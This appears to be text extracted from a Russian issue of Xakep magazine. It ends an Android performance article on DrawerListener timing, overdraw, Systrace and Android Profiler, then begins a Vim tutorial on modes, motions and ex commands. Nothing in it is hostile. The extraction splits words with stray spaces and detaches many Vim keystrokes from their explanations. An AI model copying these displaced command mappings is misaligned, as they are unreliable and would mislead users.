что метод commit() асин хрон ный, то есть перек лючение меж ду фраг мента ми
и  зак рытие  меню  будут  про исхо дить  одновре мен но  и  смар тфон  прос то
не успе ет вов ремя обра ботать все опе рации обновле ния экра на.

Что бы  избе жать  это го,  перек лючать  фраг мент  нуж но  уже  пос ле  того,
как  ани мация  зак рытия  меню  закон чилась.  Сде лать  это  мож но,  под клю чив
к меню кас томный DrawerListener:

mDrawerLayout.addDrawerListener(new DrawerLayout.DrawerListener() {
   @Override public void onDrawerSlide(View drawerView, float slideO
ffset) {}
   @Override public void onDrawerOpened(View drawerView) {}
   @Override public void onDrawerStateChanged(int newState) {}
   @Override
   public void onDrawerClosed(View drawerView) {
     if (mFragmentToSet != null) {
       getSupportFragmentManager()
             .beginTransaction()
             .replace(R.id.container, mFragmentToSet)
             .commit();
       mFragmentToSet = null;
     }
   }
});

Еще  один  сов сем  не  оче вид ный  момент.  Начиная  с  Android  3.0  рен деринг
интерфей са  при ложе ний  про исхо дит  на  гра фичес ком про цес соре. Это  зна‐ 
чит, что все бит мапы, drawable и ресур сы, ука зан ные в теме при ложе ния, выг‐ 
ружа ются в память GPU и поэто му дос туп к ним про исхо дит очень быс тро.

Лю бой  эле мент  интерфей са,  показан ный  на  экра не,  пре обра зует ся
в набор полиго нов и GPU‐инс трук ций и поэто му отоб ража ется в слу чае, нап‐ 
ример,  про мот ки  быс тро.  Так  же  быс тро  будет  скры вать ся  и  показы вать ся
View  с  помощью  изме нения  атри бута  visibility  (button.setVisibility(View.GONE)
и button.setVisibility(View.VISIBLE)).

А вот при изме нении View, даже самом минималь ном, сис теме вновь при‐ 
дет ся пересоз дать View с нуля, заг ружая в GPU новые полиго ны и инс трук ции.
Более того, при изме нении TextView эта опе рация ста нет еще более дорогой,
так как Android при дет ся сна чала про извести рас териза цию шриф та, то есть
прев ратить текст в набор пря моуголь ных кар тинок, затем сде лать все замеры
и  сфор мировать  инс трук ции  для  GPU.  А  еще  есть  опе рация  перес чета
положе ния  текуще го  эле мен та  и  дру гих  эле мен тов  лай ота.  Все  это  необ‐ 
ходимо учи тывать и изме нять View толь ко тог да, ког да это дей стви тель но нуж‐ 
но.

Overdraw — еще одна серь езная проб лема. Как мы говори ли выше, раз‐ 
бор слож ных лай отов с мно жес твом вло жен ных эле мен тов будет мед ленным
сам  по  себе,  но  так же  он  навер няка  при несет  с  собой  проб лему  час той
перери сов ки экра на.

Пред ставь, что у тебя есть нес коль ко вло жен ных друг в дру га LinearLayout
и некото рые из них к тому же со свой ством background, то есть они не толь ко
вме щают в себя дру гие эле мен ты интерфей са, но и име ют фон в виде рисун‐ 
ка или  залив ки цве том. В резуль тате на  эта пе рен дерин га интерфей са GPU
будет  делать  так:  запол нит  пик селями  нуж ного  цве та  область,  занима емую
кор невым LinearLayout, затем запол нит часть экра на, занима емую вло жен ным
лай отом, дру гим цве том (или тем же) и так далее. В резуль тате во вре мя рен‐ 
дерин га одно го кад ра мно гие пик сели на экра не будут обновле ны нес коль ко
раз. А это не име ет никако го смыс ла.

Пол ностью  избе жать  overdraw  невоз можно.  Нап ример,  если  необ ходимо
отоб разить кноп ку на крас ном фоне, тебе все рав но при дет ся сна чала залить
экран крас ным, а затем пов торно изме нить пик сели, отоб ража ющие кноп ку.
К  тому  же  Android  уме ет  опти мизи ровать  рен деринг  так,  что бы  overdraw
не про исхо дил (нап ример, если два эле мен та оди нако вого раз мера находят‐ 
ся  друг  над  дру гом  и  вто рой  неп розра чен,  пер вый  прос то  не  будет  отри‐ 
сован).  Одна ко  мно гое  зависит  от  прог раммис та,  который  дол жен  все ми
силами ста рать ся миними зиро вать overdraw.

По может  в  этом  инс тру мент  отладки  наложе ний.  Он  встро ен  в  Android
и  находит ся  здесь:  Settings →  Developer Options →  Debug GPU  overdraw →
Show overdraw areas. Пос ле его вклю чения экран перек расит ся в раз ные цве‐ 
та, которые озна чают сле дующее:

обыч ный цвет — оди нар ное наложе ние;•
си ний — двой ное наложе ние;•
зе леный — трой ное;•
крас ный — чет верное и боль ше.•

Пра вило здесь прос тое: если боль шая часть интерфей са тво его при ложе ния
ста ла зеленой или крас ной — у тебя проб лемы. Если же ты видишь пре иму‐ 
щес твен но  синий  (или  род ной  цвет  при ложе ния)  с  неболь шими  вкрап лени‐ 
ями  зелено го  и  крас ного  там,  где  отоб ража ются  раз ные  перек лючате ли
или дру гие динами чес кие эле мен ты интерфей са, — все нор маль но.

Overdraw здо рово го при ложе ния и overdraw куриль щика

Ну и нес коль ко советов:
Пос тарай ся не исполь зовать свой ство background в лай отах.•
Сок рати количес тво вло жен ных лай отов.•
Вставь  в  начало  кода  Activity  такую  стро ку: 

.
• getWindow().setBack­
groundDrawable(null);
Не исполь зуй проз рачность там, где мож но обой тись без нее.•
Ис поль зуй инс тру мент    для  ана лиза  иерар хии  сво их  лай‐ 
отов,  их  отно шений  друг  к  дру гу,  оцен ки  ско рос ти  рен дерин га  и  рас чета
раз меров.

• Hierarchy Viewer

SYSTRACE

Най ти узкие мес та в отно ситель но прос том при ложе нии, которое ты написал
за  нес коль ко  дней,  нес ложно.  Дос таточ но  сле довать  опи сан ным  выше  пра‐ 
вилам.  Но  ког да  речь  заходит  о  дей стви тель но  боль шом  про екте,  без  спе‐ 
циаль ных инс тру мен тов не обой тись.

Systrace — один из важ ней ших инс тру мен тов, которые ты дол жен осво ить.
Это  трас сиров щик,  который  поз воля ет  прос ледить,  что  про исхо дит
на  устрой стве  во  вре мя  работы  при ложе ния.  В  час тнос ти,  он  наг лядно
покажет,  как  про исхо дит  отри сов ка  каж дого  кад ра,  какие  кад ры  были  отри‐ 
сова ны вов ремя, а какие сис теме приш лось выб росить.

Systrace  мож но  запус тить  с  помощью  Android  Device  Monitor,  который,
в свою оче редь, находит ся в меню Tools →  Android  в Android Studio. Откры‐ 
ваем  Android  Device  Monitor,  дожида емся,  пока  он  обна ружит  смар тфон,
выбира ем при ложе ние и нажима ем кноп ку запус ка трас сиров ки.

В открыв шемся окне запус ка оставля ем все нас трой ки как есть и нажима ем
Ok.  Трас сиров ка  про дол жится  пять  секунд,  пос ле  чего  будет  сфор мирован
HTML‐файл с дан ными (в *nix это файл trace.html в домаш нем катало ге). Его
сле дует открыть в бра узе ре.

От чет о трас сиров ке

При  пер вом  взгля де  отчет  Systrace  вво дит  в  замеша тель ство  —  огромное
количес тво  непонят но  что  зна чащих  дан ных.  К  счастью,  боль шая  часть  этих
дан ных  тебе  не  понадо бит ся,  тебя  инте ресу ют  толь ко  стро ки  Frames,  UI
Thread и RenderThread.

Frames показы вает обновле ния экра на. Каж дый кадр — это кру жок одно го
из  трех  цве тов:  зеленый, жел тый,  крас ный. Зеленый озна чает,  что  кадр был
отри сован  за  16,6  мс,  жел тый  и  крас ный —  отри сов ка  кад ра  заняла  боль‐ 
ше 16,6 мс, то есть фрей мрейт пада ет. Сра зу под стро кой Frames находит ся
стро ка UI  Thread,  с помощью которой мож но про ана лизи ровать,  какие шаги
выпол нила сис тема для отоб ражения фрей ма.

Клик нув по кру гу, ты получишь допол нитель ную информа цию о том, почему
сис тема  пот ратила  на  отри сов ку  фрей ма  боль ше  вре мени,  чем  положе но.
Воз можные  ситу ации  и  методы  их  решения  опи саны  в 

.  Добав лю  толь ко,  что  не  сто ит  обра щать  вни мания  на  проб лему
Sheduling delay. Обыч но она выз вана вов се не тво им при ложе нием, а самим
Android. Осо бен но час то она появ ляет ся на ста рых и маломощ ных смар тфо‐ 
нах.

до кумен тации  раз‐ 
работ чика

Systrace поз воля ет оце нить, на каком эта пе про изош ла задер жка отри сов‐ 
ки. Но он не ска жет тебе, была ли проб лема выз вана тво им кодом, и если да,
то где кон крет но узкое мес то. Что бы най ти проб лему, вывод Systrace мож но
детали зиро вать, добавив в код при ложе ния мар керы, которые поз волят оце‐ 
нить, сколь ко вре мени занима ет выпол нение тво его собс твен ного кода. При‐ 
мер трас сиров ки метода onBindViewHolder:

@Override
public void onBindViewHolder(MyViewHolder holder, int position) {
   Trace.beginSection("MyAdapter.onBindViewHolder");
   try {
       try {
           Trace.beginSection("MyAdapter.queryDatabase");
           RowItem rowItem = queryDatabase(position);
           mDataset.add(rowItem);
       } finally {
           Trace.endSection();
       }
       holder.bind(mDataset.get(position));
   } finally {
       Trace.endSection();
   }
}

Есть более прос той инс тру мент  трас сиров ки,  встро енный в Android. Прос то
вклю чи опцию Developer options → Profile GPU rendering → On screen as bars,
и на экра не появит ся гра фик. По оси X — кад ры, по оси Y — стол бцы, отоб‐ 
ража ющие  дли тель ность  отри сов ки  каж дого  кад ра.  Если  стол бец  выше
зеленой чер ты — на отри сов ку кад ра ушло боль ше 16,6 мс.

ANDROID PROFILER

Это еще один важ ный инс тру мент трас сиров ки, поз воля ющий оце нить, сколь‐ 
ко  вре мени  понадо билось  для  завер шения  работы  того  или  ино го  метода
в тво ем при ложе нии. Так же как и Systrace, он фор миру ет отчет за опре делен‐ 
ный  про межу ток  вре мени,  но  отчет  этот  гораз до  более  низ коуров невый
и каса ется каж дого отдель но взя того метода, который был выз ван.

За пус каем Android Studio, кли каем на Android Profiler вни зу экра на, затем
на CPU и нажима ем крас ную круг лую кноп ку записи ввер ху экра на, оста нав‐ 
лива ем запись, ког да нуж но. Вни зу экра на появит ся окно с отче том.

CPU Profiler

По умол чанию отчет выводит ся в виде диаг раммы, где по оси X отоб ража ется
вре мя, а по оси Y — вызыва емые методы. Оран жевым помече ны сис темные
методы  (API),  зеленым  —  методы  самого  при ложе ния,  голубым  —  методы
сто рон них API, вклю чая Java. На вклад ке Flame chart — похожая диаг рамма,
в  которой  оди нако вые методы  объ еди нены. Она  удоб на  тем,  что  поз воля ет
наг лядно оце нить, сколь ко все го вре мени работал тот или иной метод за весь
пери од трей син га.

Вклад ки  Top  Down  и  Bottom  Up  показы вают  дерево  вызовов  методов,
вклю чая информа цию о зат рачен ном на их выпол нение вре мени:

Self — вре мя исполне ния кода самого метода;•
Children — вре мя исполне ния кода всех выз ванных им методов;•
Total — сум ма Self и Children.•

Как  и  Systrace,  этот  инс тру мент  тре бует  вдум чивого  изу чения  отче та.  Он
не  под ска жет  тебе,  где  и  что  пош ло  не  так. Он  прос то  рас ска зыва ет,  ког да
и  что  про исхо дило  в  тво ем  при ложе нии,  и  поз воля ет  най ти  учас тки  кода,
на которые приш лось боль ше все го про цес сорно го вре мени.

ВЫВОДЫ

Я опи сал  лишь малую  часть  того,  на  что  сто ит  обра тить  вни мание  при  раз‐ 
работ ке  про изво дитель ного  при ложе ния.  Сущес тву ет  огромное  количес тво
раз личных ситу аций и проб лем, с которы ми ты стол кнешь ся. Никакая статья
или  кни га  не  научит  тебя,  как  с  ними  справ лять ся,  помогут  толь ко  опыт
и понима ние прин ципов работы Android.

mailto:zobnin@glc.ru
https://xakep.ru/2017/07/31/kotlin-anko/
https://developer.android.com/studio/profile/hierarchy-viewer.html
https://developer.android.com/topic/performance/vitals/render.html
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UNIXOID

Vim — один из самых про тиво речи вых инс тру мен тов из всех
видев ших  свет.  Это  не  прос то  редак тор,  это  лак мусовая
бумаж ка,  чет ко  раз деля ющая  прог раммис тов,  адми нис тра‐ 
торов  и юник соидов  на  сво их  и  чужих. Пока  одни  зада ются
воп росом,  зачем  нуж на  эта  мер тве чина  в  XXI  веке,  дру гие
не могут пред ста вить себе жиз ни без Vim. Но чем же он их
прив лека ет? Почему у редак тора, который появил ся на свет
более  сорока  лет  назад,  столь ко  фанатов  в  сегод няшнем
мире? Поп робу ем разоб рать ся.

САМЫЙ СТРАННЫЙ РЕДАКТОР

На пер вый взгляд Vim выг лядит очень и очень стран но. Зна комс тво с ним соп‐ 
ровож дает ся страш ными мучени ями, ког да ты прос то не можешь понять, что
про исхо дит.  Редак тор  либо  вооб ще  не  реаги рует  на  нажатия  кла виш,  либо
ведет себя  край не неадек ватно.  Ты пишешь сло во door,  а  вмес то  это го Vim
перехо дит на новую стро ку и встав ляет or. Ты сти раешь эту галиматью и сно ва
про буешь что‐то написать — и, о чудо, на экра не дей стви тель но появ ляет ся
текст.

А потом его опять начина ет глю чить.
Спус тя нес коль ко попыток разоб рать ся, как это работа ет, и бес числен ное

мно жес тво матер ных  слов  ты  идешь  в  интернет  и  узна ешь,  что  Vim — двух‐ 
режим ный  редак тор. Писать  текст  здесь мож но  толь ко  в  режиме  вво да  (IN‐
SERT), для перехо да в который сле дует нажать кноп ку   или  .i Insert

Ос новной же режим, для выхода в который исполь зует ся  , здесь пред‐ 
назна чен для вво да, как тебе на пер вый взгляд кажет ся, хот кеев. При чем сос‐ 
тоять  они  могут  все го  из  одной  кла виши:    —  перед вига ет  кур сор  к  сле‐ 
дующе му сло ву,   — в начало стро ки,   — в конец стро ки,   перево дит кур‐ 
сор в конец стро ки и перек люча ет редак тор в режим вво да,   — ана лог Ctrl‐Z
в нор маль ных редак торах.
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По гуг лив еще нем ного, ты обна ружи ваешь, что есть так же «хот кеи» из двух
и более пос ледова тель ных нажатий. Такие, как, нап ример,  , который уда‐ 
ляет всю стро ку, и  , уда ляющий сло во,   и  , которые переме щают кур‐ 
сор в начало и конец докумен та.
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Нем ного  при вык нув,  ты  уже  можешь  кое‐как  пры гать  меж ду  режима ми
и вво дить эти стран ные хот кеи — они даже начина ют казать ся тебе удоб ными,
но один воп рос все‐таки тебя не покида ет:

— Зачем здесь эти режимы?!
«Хот кеи»  Vim  дей стви тель но  удоб ны  бла года ря  сво ей  лаконич ности,

но раз ве необ ходимость перек лючать ся меж ду режима ми не уби вает все их
удобс тво?  Раз ве  не  про ще  нажимать  пусть  и  тре бующие  боль ше  дви жений
горячие кла виши в нор маль ных редак торах, чем мотать ся взад‐впе ред меж ду
режима ми? Да, может быть,  сорок лет назад,  ког да на  кла виату рах не было
Ctrl и Alt, это и было оправдан но, но сей час‐то зачем?

Так и закан чива ет зна комс тво с Vim сред неста тис тичес кий поль зователь.
Некото рое  вре мя  он,  конеч но,  еще  пот ратит  на  то,  что бы  най ти  выход,
но затем забудет, как страш ный сон, и вер нется к сво ему любимо му Sublime.
А уж в усло виях сурово го сер вера и nano сой дет.

По чему так про исхо дит? По одной прос той при чине: для работы с Vim нуж‐ 
на сов сем дру гая сис тема мыш ления, перек лючить ся на  которую мало кому
уда ется сра зу.

23 мая 2017 года воп рос «Как вый ти из Vim?» наб рал один мил лион
прос мотров на Stack Overflow

ФИЛОСОФИЯ VIM

Что бы  понять,  почему  Vim  имен но  такой,  какой  есть,  и  что бы  научить ся
исполь зовать его эффектив но, необ ходимо запом нить две прос тые исти ны.

.  Раз деление  режимов  Vim  име ет  абсо лют но  логич ный
ути литар ный  харак тер. В одном режиме  ты пишешь  текст,  во вто ром редак‐ 
тиру ешь.  В  сов ремен ных  редак торах  эти  гра ницы  раз мыты,  мы  при вык ли
писать  и  тут  же  редак тировать,  сти рать,  сно ва  писать.  В  режиме  вво да  Vim
поз воля ет это делать, но в очень огра ничен ных пре делах: написал не ту бук‐ 
ву  —  стер,  написал  дру гую.  Все  осталь ное  —  в  режиме  редак тирова ния
(основной режим).

Ис тина  пер вая

.  «Хот кеи»,  дос тупные  в  режиме  редак тирова ния,  —
это  вов се  не  хот кеи,  а  мощ ная  сис тема  команд  с  аргу мен тами,  цик лами
и регис тра ми. При исполь зовании Vim ты ни в коем слу чае не дол жен мыс лить
стан дар тным  обра зом:  сей час  я  тык ну  мыш кой  на  том  сло ве,  потом  наж му
Backspace столь ко раз, сколь ко пот ребу ется, что бы его сте реть, напишу дру‐ 
гое сло во, а потом переме щу кур сор обратно. Вмес то это го ты дол жен отдать
редак тору коман ду: замени вон то сло во на это и вер ни меня обратно.

Ис тина  вто рая

Что бы  про иллюс три ровать  этот  прин цип,  взгля нем  на  прос той  при мер.
Допус тим,  ты прос матри ваешь толь ко что написан ный текст и реша ешь,  что
в абза це, на котором в дан ный момент рас положен кур сор, пос леднее пред‐ 
ложение лиш нее и его сле дует уда лить.

Пер вая идея, которая при дет тебе в голову, — взять мыш ку, выделить пос‐ 
леднее  пред ложение,  выб рать  в  меню  «Вырезать»  или  нажать  Del.  Зву чит
прос то и логич но, но что ты ска жешь про это?

}d(

На жатие этих трех кно пок сде лает то же самое. Я очень удив люсь, если на это
у тебя уйдет боль ше пары секунд.

Что они зна чат? Давай раз берем ся:
 — коман да переме щения, переб расыва ет кур сор в конец абза ца;• }

 — коман да изме нения, а имен но уда ления (d — delete);• d

 — коман да переме щения, переб расыва ет кур сор в начало пре дыду щего
пред ложения.

• (

Так  как  коман ды  переме щения  могут  быть  аргу мен тами  команд  изме нения,
вся  коман да  на  челове чес ком  язы ке  зву чит  так:    —  перемес тить  кур сор
в конец абза ца, а затем   — уда лить все сим волы до начала пре дыду щего
пред ложения.  А  если  сов сем  прос то:  уда лить  пос леднее  пред ложение
текуще го абза ца.

}

d(

Ко ман ды  мож но  пов торять,  нап ример:   —  перемес тить  кур сор  на  три
абза ца впе ред,   — уда лить два пос ледних пред ложения в абза це,   —
объ еди нить сле дующие три стро ки в абзац (J — Join),   — перей ти на три
сло ва впе ред (w — word),   — перей ти к пятиде сятой стро ке (G — Go).
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У Vim хорошая докумен тация, прос то набери :help и сле дуй инс трук циям

Дру гой при мер: ты опять же прос матри ваешь готовый текст и замеча ешь сло‐ 
во Windows,  которое  луч ше  заменить  на  Linux.  Решение  в  лоб —  пос тавить
кур сор  перед  ним,  нажать  кла вишу  Del  нуж ное  количес тво  раз,  затем
написать дру гое. Решение в затылок — перемес тить кур сор на сло во, нажать
извра щен ную  трех паль цевую  ком бинацию  замены  сло ва  и  написать  дру гое.
Пра виль ное решение:

/Win<Enter>cwLinux

 — коман да переме щения с помощью поис ка (в дан ном слу чае ищем
Win);

• /Win

 — коман да замены (c — change) с аргу мен том «сло во» (w — word);• cw

 — новое сло во.• Linux

Что бы  прос то  уда лить  сло во,  мож но  исполь зовать  такую  коман ду: 
(dw — delete word). Обра ти вни мание: в отли чие от «поис ка и замены» тебе
не обя затель но писать сло во целиком. Более того, ты можешь сде лать то же
самое дру гими метода ми. Нап ример, если сло во Windows вто рое в  треть ем
пред ложении, заменить его мож но так:  .

/Windw

{3)wcwLinux

Те перь о том, как редак тировать код. Пред ставь, что ты пишешь или прос‐ 
матри ваешь свой код и замеча ешь, что метод текуще го клас са, вызов которо‐ 
го находит ся под кур сором, исполь зует ся толь ко здесь и поэто му его луч ше
сде лать при ват ным. То есть тебе надо перей ти к дек ларации метода и вста‐ 
вить перед ним сло во‐модифи катор  .private

Нуб  в  этой  ситу ации  будет  дей ство вать  пря моли ней но:  про мота ет  код,
най дет в нем нуж ный метод, тык нет мыш кой, вста вит   перед име нем
метода,  а  потом  про мота ет  обратно.  Более  прод винутый  раз работ чик
исполь зует  хот кей  для  быс тро го  перехо да  к  дек ларации  метода,  он  может
даже  исполь зовать  дру гой  хот кей,  что бы  быс тро  сде лать  метод  при ват ным,
а самый прод винутый еще и вос поль зует ся хот кеем для воз вра та.

private

Поль зователь Vim сде лает так:

gdiprivate <Esc>``

 — перехо дим к опре деле нию фун кции или метода (gd — go definition);• gd

 — перек люча емся в режим вво да;• i

 — сло во‐модифи катор и про бел;• private

 — воз вра щаем ся в обыч ный режим;• Esc

 — пры гаем туда, где были до перехо да (воз вра щаем кур сор обратно).• ``

Ты можешь ска зать, что здесь у Vim нет никаких пре иму ществ по срав нению
с хороши ми сре дами раз работ ки, но обра ти вни мание на два момен та. Пер‐ 
вый:  это  очень  заез женный  при мер,  и  имен но  поэто му  он  лег ко  реша ется
с  помощью  сов ремен ных  средств  раз работ ки.  Возь ми  ситу ацию  поэк зотич‐ 
нее, и сре да раз работ ки ока жет ся бес силь на, а Vim поз волит решить задачу
быс тро и эффектив но.

Вто рой  момент:  как  и  сов ремен ные  инс тру мен ты  раз работ ки,  Vim  име ет
в  сво ем  арсе нале  огромное  количес тво  средств  для  повыше ния  эффектив‐ 
ности.  Нап ример,  ты  можешь  заранее  забить  в  кон фиг  Vim  аббре виату ры:
при думать для private псев доним #p, который будет раз ворачи вать ся в private.
А можешь повесить всю коман ду на одну ком бинацию кла виш. Плюс для Vim
есть нес метное количес тво пла гинов, которые облегча ют раз работ ку.

Кста ти,  обра ти  вни мание  на  коман ду  . Это  коман да    (переход  к  мет ке)
с  аргу мен том    (мет ка,  которую  редак тор  авто мати чес ки  уста нав лива ет
перед  любым  переме щени ем  кур сора).  Вмес то    мож но  исполь зовать  ,
которая  переб расыва ет  кур сор  к  пос ледне му  отре дак тирован ному  мес ту.
Мет ки мож но ста вить и самос тоятель но с помощью коман ды  ,  за  которой
сле дует  бук ва.  Нап ример,    —  пос тавит  мет ку  «a»,  вер нуть ся  к  которой
мож но с помощью   или   (для перехо да к началу стро ки).

`` `

`

`` `.
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Это опять же одна из стан дар тных фун кций редак торов, но Vim может сде‐ 
лать ее гораз до более мощ ной. Как ты уже дол жен знать, коман ды модифи‐ 
кации тек ста при нима ют в качес тве аргу мен тов коман ды перехо да, а это зна‐ 
чит,  что  пры жок  к  мет ке  тоже  мож но  исполь зовать  в  качес тве  аргу мен та.
К при меру, уда лить текст, начиная от текуще го положе ния кур сора до мет ки
«a»:  .d`a

К сло ву, коман ды уда ления Vim не уда ляют текст без воз врат но, а помеща‐ 
ют  его  в  буфер  (в  тер миноло гии  Vim  —  регистр),  поэто му  стан дар тны ми
средс тва ми здесь мож но делать вещи, для которых в дру гих редак торах пот‐ 
ребовал ся бы отдель ный хот кей. Нап ример, менять две стро ки мес тами:  .
Коман да    уда ляет  текущую  стро ку  (пос ле  чего  кур сор  переме щает ся
на сле дующую),   (paste) — встав ляет текст из регис тра под текущей стро кой.

ddp

dd

p

Вмес то  уда ления  стро ку  мож но  прос то  ско пиро вать  с  помощью    (y —
yank), а затем вста вить с помощью все той же коман ды  . Объ еди ним эту воз‐ 
можность с пов торени ем команд и получим быс трый спо соб встав ки мно жес‐ 
тва оди нако вых строк:  .

yy

p

yy10p

На рисо вать линию   мож но так: вво дим сим вол  , затем перек‐ 
люча емся  в  обыч ный  режим  с  помощью    и  вво дим  коман ду    (
выреза ет сим вол под кур сором,   встав ляет его десять раз).

‐‐‐‐‐‐‐‐‐‐ ‐

Esc x10p x

10p

Ко ман да   выпол нит пре дыду щую коман ду. И да, ее тоже мож но зацик лить:
 —  пов торить  пре дыду щую  коман ду  три  раза.  Коман да    нач нет  запись

мак роса с име нем «a», оста новить запись мож но нажати ем  . Выпол нить мак‐ 
рос:  .

.

3. qa

q
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Vim под держи вает огромное количес тво дру гих команд, и пер вое вре мя ты
будешь терять ся в том, как и что здесь работа ет. Одна ко боль шая часть фун‐ 
кций  тебе  не  понадо бит ся.  Ты  дол жен  заучить  базовые  коман ды  модифи‐ 
кации  тек ста  (уда ление,  встав ка  и  так  далее)  и  базовые  коман ды  переме‐ 
щения  (прыж ки  по  сло вам,  стро кам,  абза цам,  бло кам  кода,  мет кам  и  про‐ 
чему). Прос то  объ еди няй  их,  и  ты  смо жешь  сде лать  прак тичес ки  все  в  нес‐ 
коль ко нажатий кно пок.

КОМАНДНЫЙ И ВИЗУАЛЬНЫЙ РЕЖИМЫ

На зывая  при веден ные  в  пре дыду щем  раз деле  ком бинации  кла виш  коман‐ 
дами, я нароч но ото шел от стан дар тной тер миноло гии Vim, что бы как мож но
более  чет ко  объ яснить,  как  это  все  работа ет.  На  самом  деле  в  Vim  есть
отдель ный  коман дный  режим,  боль ше  похожий  на  клас сичес кую  коман дную
стро ку, и он поз воля ет делать еще более прод винутые вещи.

Ко ман дный  режим  дос тупен  по  вво ду  сим вола    в  обыч ном  режиме.  Он
пред назна чен  для  пос троч ного  редак тирова ния  тек ста  с  помощью  слож ных
команд, которые могут вклю чать в себя регуляр ные выраже ния и даже запуск
команд самой опе раци онный сис темы.

:

Од на из самых извес тных команд дан ного режима —  . Она пред назна‐ 
чена для поис ка и замены слов. С ее помощью вто рой при мер из пре дыду‐ 
щего раз дела мож но было бы решить так:

:s

:s/Windows/Linux/

Та кая коман да заменит пер вое встре чен ное в текущей стро ке сло во Windows
на Linux. Что бы заменить все сло ва Windows на Linux в текущей стро ке, мож но
исполь зовать модифи катор g:

:s/Windows/Linux/g

А вмес то иско мого сло ва исполь зовать регуляр ное выраже ние:

:s/W.*ws/Linux/g

Опе рацию  замены мож но  рас ширить  на  весь файл,  ука зав  перед  коман дой
знак про цен та:

:%s/Windows/Linux/g

А мож но нат равить ее толь ко на нуж ный диапа зон строк:

:1,10s/Windows/Linux/g

Или на текст меж ду дву мя мет ками:

:'a,'bs/Windows/Linux/g

Удоб нее  все го  исполь зовать  коман дный  режим  в  сочета нии  с  визу аль ным.
Пос ледний пред став ляет собой режим выделе ния, которо го не было в редак‐ 
торе Vi. Работа ет он так: ты перехо дишь на стро ку, с которой хочешь начать
выделе ние  тек ста,  затем  нажима ешь    (или    для  пос троч ного
выбора) и выделя ешь текст с помощью любых стан дар тных команд переме‐ 
щения (нап ример,  , что бы выделить текущий абзац). Затем ты можешь либо
выпол нить коман ду редак тирова ния (нап ример,  , что бы уда лить выделен ный
текст), либо перей ти в коман дный режим и выпол нить над ним более слож ную
опе рацию.

v Shift  +  V

}

d

Ви зуаль ный режим Vim

Вто рая из наибо лее час то исполь зуемых команд —  . Это встро енный grep,
с  помощью  которо го  мож но  искать  стро ки  и  выпол нять  над  ними  дей ствия.
Нап ример,  сле дующая  коман да  уда лит  все  стро ки,  содер жащие  Windows,
во всем фай ле:

:g

:%g/Windows/d

А такая коман да уда лит все пус тые стро ки (содер жащие толь ко про белы):

:g/^\s*$/d

Сле дующая  коман да  убе рет  пус тые  стро ки  (не  содер жащие ни одно го  сим‐ 
вола) в HTML‐таб лице:

:/<table>/,/<\/table>/g/^$/d

Стро ки  мож но  переме щать.  Нап ример,  что бы  перемес тить  все  стро ки,
содер жащие Windows, в конец фай ла, набирай:

:g/Windows/m$

Это далеко не все, что может делать встро енный grep. Одна ко если мы будем
вда вать ся в под робнос ти, они не вле зут ни в какую статью. Вмес то это го пос‐ 
мотрим, что еще уме ет коман дная стро ка Vim.

С  ее  помощью  удоб но  встав лять  в  текст  содер жимое  дру гих  фай лов
или  вывод  команд Unix.  Нап ример,  так мож но  вста вить  в  текст  содер жимое
фай ла todo.txt:

:r todo.txt

Ко ман да    под держи вает  авто допол нение,  поэто му  вби вать  пол ный  путь
не при дет ся.

:r

Ес ли добавить к r вос кли цатель ный знак — она вста вит в текст вывод ука‐ 
зан ной коман ды:

:r! uname ‐a

Ког да ты пишешь статью в «Хакер» с кучей цитат из вывода команд, такая фун‐ 
кция ста новит ся прос то незаме нимой.

Vim поз воля ет не толь ко читать вывод команд Unix, но и отправ лять текст
им  на  вход.  Нап ример,  сле дующая  коман да  отсорти рует  стро ки  с  пер вой
по десятую с помощью sort:

:1,10!sort

От сорти ровать весь файл:

:%!sort

Прог нать файл через фор маттер fmt:

:%!fmt

Ко неч но же, все это работа ет в том чис ле в визу аль ном режиме.

КАК ПЕРЕЙТИ НА VIM С SUBLIME TEXT ИЛИ ATOM

Ког да  перехо дишь  на  Vim  пос ле  дол гого  исполь зования 
или  ,  ощу щаешь  себя  неуют но.  Не  бой ся!  Зах ламить  Vim  ненуж ными
панель ками и пла гина ми про ще прос того. Вот крат кий гайд по допили ванию
Vim до сос тояния более‐менее сов ремен ного редак тора кода.

Sublime  Text
Atom

Так может выг лядеть Vim пос ле уста нов ки пла гинов и тем

Преж де  чем  кол хозить  свой  Vim,  пос мотри  на  готовые  популяр ные  дис три‐ 
бути вы:   и  . Они содер жат необ ходимый базовый набор нас тро ек
и  пла гинов.  Но  вооб ще,  это  не  тру.  Сто ит  как  минимум  однажды  соб рать
собс твен ный кон фиг, а потом уже играть ся с third‐party‐дис три бами.

spf13 Janus

Шаг 0. Выберем пра виль ную вер сию Vim

В осно ве  Vim —  код  сорока лет ней  дав ности.  Естес твен но,  некото рые  вещи
не  опти мизи рова ны  под  сов ремен ное  железо  и  гра фичес кие  под систе мы.
В  резуль таты  ты  можешь  стол кнуть ся  с  глю ками,  тор мозами  при  скрол ле
и  задер жка ми  во  вре мя  перек лючения  режимов.  На  YouTube  пол но  видео
с дем ками стра даль цев.

Прис мотрись  к  более  сов ремен ным  фор кам  Vim,  нап ример    или,
если ты поль зуешь ся macOS,  .

neovim
MacVim

Шаг 1. Выберем эму лятор тер минала с GPU-уско рени ем

Час то  тор моза и  глю ки Vim свя заны с  тер миналом,  в  котором  ты его  запус‐ 
каешь.  Если  у  тебя  macOS,  не  мучай ся  с  сис темным,  ставь  сра зу  MacVim
или запус кай в  .iTerm2

Еще  луч ше  поп робовать  .  Это  быс трый,  написан ный  на  ,
кросс‐плат формен ный  тер минал,  который  эффектив но  работа ет  с  GPU.  Он
поз воля ет рен дерить гра фику гораз до быс трее, чем любой из сущес тву ющих
ана логов. Из неп ривыч ностей — все нас трой ки хра нят ся в тек сто вых фай лах,
да  и  управле ние  окном  при дет ся  допили вать  самому.  Нап ример,  в  macOS
не работа ет CMD + H, так что окно шот катом из короб ки не спря тать.

Alacritty Rust

Alacritty — эму лятор тер минала с под дер жкой GPU

Да лее  я  буду  при водить  скрин шоты  из  standalone‐вер сии  MacVim,  но  суть
не изме нит ся.

Шаг 2. Сде лаем базовые нас трой ки в ~/.vimrc
Vim очень прос то кон фигури ровать. Нас трой ки Vim хра нит в фай ле  ,
а необ ходимые фай лы — пла гины, локали, сло вари, цве товые схе мы — в пап‐ 
ке  .  Файл    выпол няет ся  при  запус ке  редак тора.  У  каж дого
любите ля Vim свой кон фиг. Поделюсь моим. Откры вай (или соз давай) 
 и пиши в него по поряд ку.

/.vimrc

~/.vim ~/.vimrc

/.vim‐

rc

Для начала уста новим удоб ный шрифт и кегль. Я исполь зую шрифт 
